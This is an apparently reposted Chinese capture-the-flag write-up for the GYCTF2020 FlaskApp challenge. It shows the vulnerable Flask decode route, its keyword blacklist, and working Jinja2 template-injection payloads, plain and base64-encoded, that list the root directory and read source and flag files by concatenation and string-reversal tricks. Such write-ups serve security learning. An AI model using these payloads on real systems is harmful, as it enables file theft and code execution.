[GYCTF2020]FlaskApp

Posted h3zh1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GYCTF2020]FlaskApp相关的知识,希望对你有一定的参考价值。

flask

hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。

base64decode在不会解析的时候就会报错。

image-20200413215923714

由报错可以读到部分代码,如图。

image-20200413220202762

关键代码如下:

获取我们传的text参数,进行解密,如果可以过waf则执行代码。

@app.route(\'/decode\',methods=[\'POST\',\'GET\'])
def decode():
    if request.values.get(\'text\') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for(\'decode\'))
        res =  render_template_string(tmp)

所以可以使用ssti注入。

因为直接cat flag发现是得不到目录的。

所以要思索一下他是不是过滤了什么。

读源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].open(\'app.py\',\'r\').read() }}{% endif %}{% endfor %}

image-20200413220549265

image-20200413222816560

waf函数发现了过滤

原来是flag和os等被过滤。

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

image-20200413223123073

利用字符串拼接找目录

发现了this_is_the_flag.txt

{{\'\'.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'o\'+\'s\').listdir(\'/\')}}

#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==

image-20200413225322621

读取使用切片省去了拼接flag的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].open(\'txt.galf_eht_si_siht/\'[::-1],\'r\').read() }}{% endif %}{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

image-20200413230233670

以上是关于[GYCTF2020]FlaskApp的主要内容,如果未能解决你的问题,请参考以下文章

第六十二题——[GYCTF2020]FlaskApp

[GYCTF2020]Blacklist&说说真心话

[GYCTF2020]Blacklist&说说真心话

BUU-WEB-[GYCTF2020]Blacklist

[GYCTF2020]Ezsqli

[GYCTF2020]Ezsqli